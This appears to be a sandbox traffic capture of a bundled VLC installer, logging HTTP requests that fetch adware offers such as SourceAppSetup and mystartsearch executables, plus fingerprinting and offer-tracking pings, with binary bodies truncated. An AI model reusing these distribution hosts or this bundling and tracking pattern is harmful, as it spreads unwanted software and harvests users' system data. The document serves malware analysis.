
Via: 1.1 afbd195d23ca809c251a7455baddae14.cloudfront.net (CloudFront)

X-Amz-Cf-Id: gE8FmtvPNrNLEUBrfFsXm3rx6lQE7Hld87q25vJY1pLpoHzxj6DecA==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 17 Dec 2014 16:44:10 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 afbd195d23ca809c251a7455baddae
14.cloudfront.net (CloudFront)..X-Amz-Cf-Id: gE8FmtvPNrNLEUBrfFsXm3rx6
lQE7Hld87q25vJY1pLpoHzxj6DecA==......


GET /p.ashx?e=aonlVHCKlbVosan8yNlYdiWqRVUESB2PHW9uGgMFYhx4E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSy SAZryxbOJXP9unjtb8XwTxIUcsgQ wusjSmD/os8vaqQW/K05hqJYVFIFjOjie8sOd0nRPdtSYkD76C/fq82damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSmM2d4wtyZ5qfNTRxTGzTsEGk8IGlu5lbdgJBbOU3ZeubiwmL/3dSts= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:44:27 GMT

X-Cache: Miss from cloudfront

Via: 1.1 afbd195d23ca809c251a7455baddae14.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 35gZ1FwXxQMBmV88QE52SNiG0ZcZUyfcjvQDUxqVTD_OGY9QNpUAUA==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 17 Dec 2014 16:44:27 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 afbd195d23ca809c251a7455baddae
14.cloudfront.net (CloudFront)..X-Amz-Cf-Id: 35gZ1FwXxQMBmV88QE52SNiG0
ZcZUyfcjvQDUxqVTD_OGY9QNpUAUA==..


GET /software_files/vlc/2_0_2/vlc-2.0.2-win32.exe HTTP/1.1

Range: bytes=5657591-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 17 Dec 2014 16:42:32 GMT

Content-Type: application/octet-stream

Content-Length: 16972770

Last-Modified: Thu, 11 Oct 2012 11:07:06 GMT

Connection: close

ETag: "5076a85a-1594fd9"

Content-Range: bytes 5657591-22630360/22630361
][email protected]...$...........Z.j.v..U.l.....KR......l....EYM...[....#.Ca..~'
...O^.M..Z.h8*......vV|.X.......{m.....!Q... ...Yth.<....:......r.O
[email protected]......,.Jq.-`...O...F.=......~...g...;.....|m.*A`.
PN.2....l...c.J.8v.*.[.....3.Z....f...x`J(.....;..~{...:...$Qb.J..P...
..I....6d......&. .<...4......c..l.. ...3.z.9M..H.Ow...l#..l.....1.
.C.OM..h......s{T1EqZ$..7;...V....'<\.(qn[tq.........MrT".{...Qq..Y
...k6...7....Yqnae.G.spY.dh....y.gq\....K....L.......*..i.&...:5B)...}
J....y..?.|.....s;.R..N..?.1.t1*...H../.../..[..{a.VM...o.........'..|
.LQ...cq.......Q.}?.w...iQ..R.{i.[..D.9.N..x....(v...j,c..:.\...$V....
.-..V....P'C6... .b..9.Q/.....w..4.{..}.0.`. .L..j>5(...].P9..N.<
;.Z..J..Y).T.k|..............~.S.,._v.....]...h.~_W.B..z.U..C..e..}Wt.
......Kz.....w.ZF.......X2V..s..........D.Dd.4..0Au......W.$..z.n....l
w.$R....1.....B?..z...TB.....|8......S..U.a.bG..o.&q.=.9...Gk....!#s !
.1%..g...,....v..Cn.8.!..B.......m.......Z...8bK.b..O.........N..?....
.Q....tb..._.........K.B..v1.^..Y:...i.z.p...G..l.&.....\y.b2q...$.w..
a{.0..U:?7k.0...&sb........t9..i.......}T.... '.1..>p......JM...U\.
!....&V..i..}....2.....1of....._.{.Fr]3.. K.'........-. .A....Z.......
h....='....l..[.h.%W..).......&....eO. \,{..e;z....)[email protected]
.(k..y......pi*.-.n..Tw..Bi.............I.L..@.....@].v.[.U.".Y}n.../.
.>.EE%...V...:..g..."b.W...J..........BN.....:......)$.."...>.f4
.u.$.zt-......9..Jx1(w......l......`...y.......i..N..O.E4_..Z..:.....7
].Q..m.../...Lk.=9nlh.g.-....'.]09....285.Q.r.*;....e..\:L..m.|...
<<< skipped >>>


GET /sd?is=sm HTTP/1.1

Range: bytes=218778-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 18 Dec 2014 16:43:27 GMT

Date: Wed, 17 Dec 2014 16:43:27 GMT

Content-Range: bytes 218778-583407/583408

Content-Length: 364630

Connection: keep-alive
.c....:..u.._&..{..Z...Ic..vz........l......7.].E.y.h5.T6...R.s...9..;
*......Jet!g.O..'....n...]D[...... [E-./y.$d.0...-...'....Jt..h6....s.
.Yx....c..e3..I7Cl.V.c...]...q>TN............p.$o.=m%.\._..........
.S...%.1/Q..c.....(..\a...N..~.?..u..).\..*..C.?...LrC~...A...e..Y..wg
<..........*..H..:RSnl.. .&.;....S..P.Iw.B....0..[.....3..T.O......
#.{.......5.....h....l.>7.C...1U..e`.{.Y...U...1%.2B...i..A.R.47JQ.
J..`.n...X...hN..c..x.1...Dn.#........k.D....Nn....a....E...e.X.>.`
&.1@.^xU.5.....<..p.V..]..R ..H#..A.p..p...~....)...N~./[email protected](...
..*.2....>...=.m....C.....jmpG.......l... ..R..a.3....m$xnw..-kU...
'}a..Q?.O..."..(U..0..W..... /...W?.7o..3]A.G...E7....UBT.H.. Jc0E....
.>v.7=.6..3.].=3'.C}...N..-...V xK...L.Z.{..o.....Q^....'....~...\e
.....&.....WC..xQgeX...W.Xk....0....f..{..g....2....O....40 ......?.".
........-....5*a.#...U~..I..MH`.....M.....G..Q.M.....~.P......Z.@sX>
;@..T.&...../....m}.p._..~..&..11..^[email protected]...'..K.g.j]zi.....8.
5S."8R....\.H.MO{..>.Yt.-....[@......lBI.Q...........7....TX^.....0
.5.s.'..C.......9...P.....[.f...O.G....b.D...l......`.........c.."<
...'.....X....,........q............).../.P.Pt3.T.p.A....ZY...`(.....;
,.h%...j.,.J..#u |2..n.w.hx,X..z.K{..zY....UG.{......*..v.N.g..A....|.
u..0.).'..qF.K..\..~.a....M.s;..Q..wY%..<.........39s.KWI5..-..=L..
M.MW .Wq.*[email protected].<...5.K...Hi..H.d ..k...S.......
..<.....\..3..q!...8c......o.x...v....W......&....q.w.>..<.Dz
..\.....>[email protected][.... i...o...g..}...eg.._...N...
<<< skipped >>>


GET /analytics.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.google-analytics.com

DNT: 1

Connection: Keep-Alive




HTTP/1.1 200 OK

Date: Wed, 17 Dec 2014 16:31:03 GMT

Expires: Wed, 17 Dec 2014 18:31:03 GMT

Last-Modified: Thu, 13 Nov 2014 21:10:00 GMT

X-Content-Type-Options: nosniff

Content-Type: text/javascript

Vary: Accept-Encoding

Content-Encoding: gzip

Server: Golfe2

Content-Length: 11158

Age: 834

Cache-Control: public, max-age=7200

Alternate-Protocol: 80:quic,p=0.02
...........}{w.:.........Du..p8IMV.........,.ih.....6.g..{K..4<3..w
.....[..K..L.*...~ps!.{RFz.F...~...|<..a&N...0.].XF..}[email protected].
.....".nR.M..=....$.gy...P`(.5..P..T..z<.J{.W.%2..8..s..SO\!....'~.
........S......s.....Je;Y...i......A...;.MPn....>RO"o0R......O...r.
6..u.]c..T..z.'.....v1.t...h..c...=q.1He.|..x<@[email protected]..
>M<..F..>.Y......M.Q".'r:.>......g.t...a/C...x..12....}..s
?....W&S ..O.'...0/.R.{..z..L...8.yb$...~Of....1..LQ..v.'^F..Q...C....
.N....Z..c......=.u....?..PQ..}!;q7..g&. *U<..>U.QY...R..s.m.j5.
..][...0<..PP....h..{c{[..a...L..k!F........./^..z........G.>~..
..7. `.w..y68.....I6.....]olln=x......x.:..N.Ss....e7z.y..=/.z...f..y.
..f,..H..gZ.....x..E.-........E;...V...4..]T8....n...xU;O....^0...5t.b
.O.. .\[[ol.2T.!v.Ta#T1.N.I..=4...F....HR..E&K..m.y..~.{.xr|%...m.Z...
.jz.Ld...v8.L1..9....K..Q..S.....*..Z..T.w.L..k...Ky....."L?..../.X.z.
o<.....?7}.D..d....e..^....'....}...bE.J%....2.N9.mm......h<.)".
..n0....L\....8..>.]....@}.q.A.'z...g.{q)....f.D.5...?..,*.=K..*...
... CN...G.I.J1...A....C... X..O.\...7.{E..z..t>...k...D..k...h..[k
C~<.z.y....nka.z.....`G>..[@.L\/[email protected]....,.O....q...Lh.[..m
[email protected]%Z.....,oo....?M..=..|&~/Y.F...[[.N....
u.=C3..#/...N(v.XE81I4...h.-U."..i.T...4.*:[email protected].;=.....
8.`.g3=..{.)>...6..#...|S^nf#g.z.s.K.........Y.cC...U;c^..6.:@vU...
i/..m....i..L....|s......x.....[.v1@...(.g...]...bP..Z...=.....D.D.HM.
Y.....IXk..8..j. ..ag$....n.....A'...O..._..v..,.G..`..!...rM..o.V
<<< skipped >>>

GET /r/collect?v=1&_v=j31&a=550335270&t=pageview&_s=1&dl=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE&ul=en-us&de=utf-8&dt=Thank you for Installing YouTube Accelerator&sd=24-bit&sr=1716x901&vp=1700x804&je=1&_u=MEAAAAQAI~&jid=1985718583&cid=1924808397.1418834698&tid=UA-40752970-2&_r=1&z=936260388 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.google-analytics.com

DNT: 1

Connection: Keep-Alive




HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

Date: Wed, 17 Dec 2014 16:44:58 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, no-store, must-revalidate

Last-Modified: Sun, 17 May 1998 03:00:00 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Server: Golfe2

Content-Length: 35

Alternate-Protocol: 80:quic,p=0.02
GIF89a.............,...........D..;HTTP/1.1 200 OK..Access-Control-All
ow-Origin: *..Date: Wed, 17 Dec 2014 16:44:58 GMT..Pragma: no-cache..E
xpires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, no-sto
re, must-revalidate..Last-Modified: Sun, 17 May 1998 03:00:00 GMT..X-C
ontent-Type-Options: nosniff..Content-Type: image/gif..Server: Golfe2.
.Content-Length: 35..Alternate-Protocol: 80:quic,p=0.02..GIF89a.......
......,...........D..;..


GET /software_files/vlc/2_0_2/vlc-2.0.2-win32.exe HTTP/1.1

Range: bytes=11315181-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 17 Dec 2014 16:42:32 GMT

Content-Type: application/octet-stream

Content-Length: 11315180

Last-Modified: Thu, 11 Oct 2012 11:07:06 GMT

Connection: close

ETag: "5076a85a-1594fd9"

Content-Range: bytes 11315181-22630360/22630361
]....XA).'WWGpMO.a.9..>.^..3..~.....&........qK.......0.M]a.n......
D.Z.......l..?m...W...........=2..2..y=..3T.C..OZ..............[.... .
..jc-._....X}.Q...K.Ii..=9....wKy.....I..Mk.}?.Up....?.....7..V.|g,.d.
......U..\....ka....G%......w.. ..I...P.l..................8.....}.g..
....B...ri>/1G.eZ.....T...>....W.....x5NQ9.Lq.....I...?.k.......
...!N..G..kD. .....Q...#........|[[email protected]^...
[.....!3!....z...Y........S........3*....Y$}..4M..G...r.A. BYVUv......
lf.....`.._....M91.|SQ."m.X.i......|.~q..R1iD...z..b(..u.LBC...m.n~...
...TZ.`.%zb/nB.83...X.}.k.......%...b ..g.v..s..lK.v^..4~2........o5T.
<..k.7..p.{...........$.....)].Mbg...L6.E.Z.R.].B.v.l<.&L...sVpw
P..I% ..&...../..M&{.F6...7.y.Mn[...#......x...pR..ZT.1....9.V.N..mW..
!r...JO....fZ..]...-..:.N7r.Opa.y. mAr.$.,.1..tm...KS.%[email protected].^I.
..rM...%.at.b.-..T......H...b.........K.UJk|....e..@.$..zS..*`..."Z&..
G.{L.......N..p.>~.z...5(................;..W.#.=.....*.j..|..y....
..Z.L......."......p`.c.@$.... .H5........F.h.G0Y. ...t@,...cZ...&j..&
lt;..3S.3.......!..i."..$..h......e?.O.Y.,J.^T.q........rA...b..Z.....
...F.zW4....*H...C.g....F..P..o.D.Uv.....?.4{.bB...Z~8 .].*W9...-...._
x.G.W.'{...........R.-.X.XF....06l<x8CO?.>......>. #~_1 JN...
....=...i.....q...d.F...$.g......BSQn,P..G.. fI.....hJ...]....>....
.!.....&aHpMV..g..#%|P..\.?....5.j..7.........K.x.....w.";..pv..,'.(..
...A.>....J?....0...&a...imA..S..~..6...#....]..$8#$.&N..[..W.E...!
oMQ.......q.....FV.....B*.. |./..u._#....|..r.f..F..X....,..L&..Q.
<<< skipped >>>


GET /network_xrwc_1/vlcmediaplayerdmot/796c42aebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c42aebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4 HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Date: Wed, 17 Dec 2014 16:42:30 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
600a...............z.F.6..<.w..:qH.Z.d:.a~.l.=^;r:...= .....$..E..|
.......SU(,..tz:[email protected]..,?]...r2......(....h........."]F..r...
@.,.yv.l..(X....g..X......?..Q..z....'....b.....T*.n.....E......}.9.o.
R.}..~....Nf.4...E..o\d....^I....W.s1[,O.Q........2=..._...r9......L..
.{.r.-..5....<N.O.q.._~.../.......$.x:....".....w....C<OO...a...
,..{.x.u......i?..o...t.....~v..f.Et.,......e.~.....t...g.<..'..1..
s....6.l`>.t.O..>..]..sQ^...{..#f.x...y.-]`5......\.R...&.t..C7D
....y...l...9]\.O.9..........^.....E:O.;..~....1a.%z...-...>..SW...
..><].....v....X....e..wd..;... ...?-N.i2..c...U.(.....;]\.N....
....i...K....A6.8.F...t0./......x..O...t9.t...>[U:.......y..3R..-..
..=N..r.\n..CU...f....">.g...E.Q.....2....|6..W..A...t..APdY...s..U
*`F.%..IN?.c,2.K2OS.>....)N..i.r.GSvqj...t.e.1...G........"..3"=..4
.N...`.f..o......E...b>8=...........?w~...?.x....... .1....;w......
..l.x.y....g...{4..4...u.. ..#P.....h.f.,p.~...`..g.,.;W.n...tPsrq.#.n
......0..u... ~...]...u......................]?....{C....];<{_..{..
[?[\.{_1.R..{o...{...S..7......y. ...W..;_...[.~.........n......_.....
...K0&........./"..8^,.....xr.Q.g..RpNGz.0^.r#..>..<.........%[.
..2....:...z.L...$....^..8.Lsze*e..R....T-..}<[email protected]
5O....U.n........nM.'...../c.di?/..[Wl!..-.....l.........l.d.4..O.%[.t
:\.....u...}s#....dcg.....$......b..i....>..'..........?.y..r.-.j?.
....u.\..X`v tX..a..qC..h.....sSi.U..~..k)....o...K.N..!X.|R..........
..!..y.-..K...-....\.V/;.MH.f.....<.V...g*.o..y..%...,[email protected]..
<<< skipped >>>

POST /installer/ajax HTTP/1.1

x-requested-with: XMLHttpRequest

Accept-Language: en-us

Referer: hXXp://bi.bisrv.com/network_xrwc_1/vlcmediaplayerdmot/796c42aebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c42aebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept: application/json, text/javascript, */*; q=0.01

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Content-Length: 2477

Connection: Keep-Alive

Cache-Control: no-cache



country=UA&uid_orig=796c42aebeb52f4eabf469c6ed8ad1c0&uid=796c42aebeb52f4eabf469c6ed8ad1c0&affid=network_xrwc_1&sid=vlcmediaplayerdmot&cli_id=&softwareName=VLC Media Player&installerVersion=2.1&osVersion=6.1.7601 Service Pack 1 64bit&ieVersion=4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)&defaultBrowser="C:Program Files (x86)Mozilla Firefoxfirefox.exe" -osint -url "%1"&defaultBrowserName=ff&originBrowser=ff&hostBrowser=ff&tzo=MTIw&muid=96d78f35e7b7ea4fc32736d428df43b4&cu=false&cd=false&tokyo_csrf_key=955f03c70686694b2a662fe9c248343e&tokyo_csrf_timestamp=1418834550&unique_id=61c1e9ce078e3e20f171532f2a80443c&clientIp=37.57.16.189&ffInstalled=false&dfz=false&avdr=lDKrp/3VMDh61tuJfJlrKXs1VI6ezbhGnJBKbIRjXeIYfcyodTGERY6ZOIkepjCAJ6l5ti1er
HTTP/1.1 200 OK

Server: nginx

Date: Wed, 17 Dec 2014 16:42:31 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
f94.............\.s.6..*8.....-...7u..%i..k&N...:...D.$.#H)J..... ER.,
;v.K.....{..}x...'..".).W....Y..8z..s....q...e.b..`K....t.z...]TPg.\.e
...../bV..5..3....b.s..<._.Iz....%S.}X..`.d..~.i.k...b..../2..9."O.
M.~.y.D"..e~........./S......4OJU4...QU .....?qp.y....g....yN....X....
r....,..4.....W...R...h\.. ....g*..V#.,3.YT.3h....o....Oe^.......\..W.
.Q.N]..v..{.4b...,.6-. ...n&...cu.e......O..|.Al..JOi......:.......L.Z
..7)..2J....x.EI.....|%l.u..*...ybO......O..../.']s........L.......yCk
.N'2......*.J...S?..a.q<q.9E..k.F{.`1u-Yu..>t|....2.b..8...\[...
...E.x..X.\...l.b.E...^.w....R.0.HRN..u....P.B.e....\..64..x......J...
.d.....)......\..;..,O..N^a..v...1z.....q#H...s...in..0......yo..g..m:
,.#.\..c.d....m..E.!.H......h.w.7..^'...../.Q.r.f..6..c.h.....uf8.....
[S.SA..j...U..Dd.z.\.P.......;o.s.2.Q..Ev:....#Y.Y..e....*Z....i..8.O.
|..*x$TRx.w.{J....;....=........x.......<..`.......MQj5...W...UF]..
G.. @Y.D......R.t.c%...A. ..%D..3&.~NE.....AGV...B...5).tj.........U.4
JS...*R.rgxp..(."[email protected]._.... O.c..S..jvt4<
....G.....X/.w..x^!.(4....u~.../'....go...~J..........VX.H0.......8.).
[.. .^..o...{...`...........n.4O.P]..z...D-..[.Zk. j..;\........ }....
3D.zk..=>)..............;_..(r.Bw"....N[.x<..R.=.4-..u.A....\.06
.....;v...&.X...(...c..N.......%k ...g..:..Nj...A.. Jgr....#.#.1yG....
/...F..S%......G..a ...g..g.b..........).z .J.?.._46......cw.E...FI.WT
[email protected]._.*o(.r....<^.8.|..7...Z..p..>{\...2IM......t.=....._B.
...[=8%[email protected]....)o7.pP..K~)XkkY.b.
<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=991f0b3d94f721ffe716de3b564e2b54&tokyo_csrf2_timestamp=1418834551&slot_number=1&index_in_screen=1&index_in_session=1&0.01999434592486038 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_xrwc_1/vlcmediaplayerdmot/796c42aebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c42aebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.61869844.1418834552.1418834552.1418834552.1; __utmb=1.1.10.1418834552; __utmc=1; __utmz=1.1418834552.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Wed, 17 Dec 2014 16:42:42 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 17 Dec 2014 16:42:42 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..


GET /software_files/vlc/2_0_2/vlc-2.0.2-win32.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 17 Dec 2014 16:42:32 GMT

Content-Type: application/octet-stream

Content-Length: 22630361

Last-Modified: Thu, 11 Oct 2012 11:07:06 GMT

Connection: close

ETag: "5076a85a-1594fd9"

Content-Range: bytes 0-22630360/22630361
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
..........^...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected]...@[email protected]
rc....^.......`...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=71390-

User-Agent: Better Installer(Mozilla)

Host: d3ddmpeszwup8l.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 214168

Connection: keep-alive

Date: Sun, 14 Dec 2014 04:56:58 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 71390-285557/285558

Age: 1399

X-Cache: Hit from cloudfront

Via: 1.1 a9b59a59c9cd05c79f53659a2b4406bd.cloudfront.net (CloudFront)

X-Amz-Cf-Id: fFqJniAnQ1yJDWa33-udKuM69VUyViIJy3Z4HMtJiQ9NyUk6HzWRkw==
..IK.#.ikv7..=....\z....if.J^.;,5!.._...MR..w.OX..&.....p:.........5.L
.iT.L.O.....7D.]b..........3.. 2=v.a.....^k....xp .`..y.1>...A.Q!..
._.J.D.......j..].8v....>.P.\ei%..OU[.V.p.*ky..E*.D0).-l.B.....*..a
G.b^..T.yqu8.Np.'.Z&V`..-..2l..Bu.l ........4X.U..9p..}E|..J...".m..:.
[email protected]$h...8D.s"..]......3.. .$..H.Sf.z.....q.Ke.....b.......
IO[[email protected].....].<.........g.mG.
.as..ez|.C.......=p.^U|.`s6.).\).]........2j.....N....a...i\.m.<...
...8......z....=....i.s.2...r...n.=h.D".O.MN..a.S..f. .S.i....N>.O;
...>..4%.{.L....... m.....%.Hw.U<...."...ns.Z....).)`o:....O....
0..SDt..|V.G...iU.d P..x..{`i[.X.Uh..@..`C...;6.\..y.]-W.... ...G9`.%i
~.G.......r#`...`...G....Z..KQA~'vL2XAM..(o......jU.....3........7...o
[email protected].`....u...G......H.N.|..;#..G.n]J.Kx......t.if
.8u.^....L..L..;..# 6...p ...........U..KU%....F...>....L.sZ.Cm.!..
cllj...&.:......p..y.....ds_.....W..t2.,.I...Z..c.T?/&O...8..q..<:C
p.....7&.D7.....e,2.)..G..FP.l. .N....(......I.......4&...8.1;...M...=
.2..%;.V).>[email protected].!..GHUZ.nnh..........n#.....F.v.S...Z
y.m..........;..k...3..(. .k.............,H.D.L.....K...`[.. C..7X.uq.
zV.t...m..`..H.....s.e..R.7...4.F..`.b!..N.pY...=%K...s.Tt*9.rR..A....
xt.hR.k..25...=`...7.........&=....vK.A...4.d7y.....(....7.(..l.k...h.
C.w|..yP..#...lNI..\8....c...I&.h.[.=p... ...._......).;.>"@.....@.
n@..)...,....80.W......kh..z8.......W3S..E...3..H....^.t.L.\........3G
..b.....!.^....U......d..k.X...84P..%V........O._.rg.7.g..`G4.$u.x
<<< skipped >>>


GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlwurina.com

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 17 Dec 2014 16:43:28 GMT

Content-Type: application/octet-stream

Content-Length: 291880

Last-Modified: Wed, 10 Dec 2014 08:07:40 GMT

Connection: keep-alive

Expires: Sat, 20 Dec 2014 16:43:28 GMT

Cache-Control: max-age=259200

Content-Range: bytes 0-291879/291880
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$...................
...._.<....._.>....._.?.x.....b.........$....0"......08.......f.
.....0=.....Rich............PE..L.....dT..............................
[email protected].....@.................
.................c.......................V..(........!..P...8.........
...................>..@............................................
text............................... ..`.rdata.........................
.....@[email protected]... y...p...X...`[email protected]................
...............@[email protected][email protected]...........
......................................................................
......................................................................
......................................................................
......................................................................
......................................................U...E..8.u.3.]..
[email protected]. .].U..QQ. xC.3..E..E.V...&..f......t.....u.j..M..2....M.....
........M...3.^.........U..V...G....E..t.V.....Y..^]........j....B....
.....}.3.S.u.......]..^..^..^..^.3..^.f.F..^.f.F .^$.^(.^,.^0.E....u(.
E.P.M..E...C..i...h.SC..E.P.E...B......WV.$...YY..........V..WV.Y....~
,.Yt..v,.....Y3..~,9~$t..v$.....Y.~$9~.t..v......Y.~.9~.t..v......Y.~.
9~.t..v......Y.~.9~.t..v......Y.~._..^.D...U..V.u............B...^]...
U...E..V....T.B.t.V.8...Y..^]...U..QQ. xC.3..E.V...>.u&j..M....
<<< skipped >>>


GET /plugin/apps/65743/manifest/1_35_11_26/ie10/manifest.xml?ver=16&rnd=2989 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: js.newstaticinfosrv.com

Connection: Keep-Alive

Cache-Control: no-cache




